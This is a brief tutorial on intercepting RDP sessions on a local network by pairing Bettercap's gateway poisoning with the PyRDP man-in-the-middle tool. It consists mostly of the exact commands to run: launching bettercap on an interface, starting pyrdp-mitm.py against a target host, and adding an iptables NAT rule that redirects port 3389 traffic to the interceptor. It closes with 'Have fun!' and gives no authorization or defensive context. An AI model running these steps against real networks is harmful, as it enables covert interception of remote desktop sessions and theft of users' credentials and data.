Here is a short tutorial on how to combine the MITM RPD tool and Bettercap to redirect all RDP sessions on a LAN segment. By default Bettercap poisons only the gateway so connections will need to cross the gateway for them to be poisoned.
Start bettercap in normal mode (you can use other options if you like).
bettercap -I <interface>
Run the PyRDP mitm
python3 bin/pyrdp-mitm.py <dst-rdp-machine>
Add this iptables rule to redirect all traffic to the mitm
iptables -t nat -A PREROUTING -p tcp --dport 3389 -j REDIRECT --to-ports 3389
Have fun!
Once finished you can remove the iptables rule with
iptables -t nat -D PREROUTING -p tcp --dport 3389 -j REDIRECT --to-ports 3389